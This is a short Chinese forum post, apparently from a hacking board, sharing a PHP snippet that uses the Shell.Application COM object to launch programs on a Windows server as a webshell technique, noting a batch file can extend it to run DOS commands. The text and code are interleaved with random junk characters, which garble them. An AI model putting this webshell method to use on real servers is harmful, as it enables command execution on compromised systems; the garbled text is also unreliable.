关于用Shell.Application来执行程序,在海阳顶端asp木马里已有示例。用的是ShellExecute 这个方法。. W1 c5 n% Y1 s
) y/ \# ]0 c h
今天试了一下,用open也可以。php代码如下,我好像还没有在php的webshell中看到相关方法
: Y# ]) \+ ?- `5 w! H b) ]
: J' N) a7 v" }$ Y; i6 g" W9 P<?php
# d& \0 D! |: R2 G. I% Y2 l$wsh = new COM('Shell.Application') or die("Shell.Application");
9 |# d2 B# c) ~# I1 W$ n $exec = $wsh->open("c:\\windows\\system32\\notepad.exe");
4 o+ U9 U/ N* v& E //没有回显,多了个notepad进程,可以写一个批处理来运行dos命令。open换用ShellExecute 也可。' E8 Z. q) M, c4 M" q" {9 T; C
?>: z5 e; R* }2 P0 e% d n5 n
0 v+ M- u I1 {; \) t4 O0 Q
xp+APMServ5.2.0测试通过。
- B, ^/ U. N( ?% e% {: q |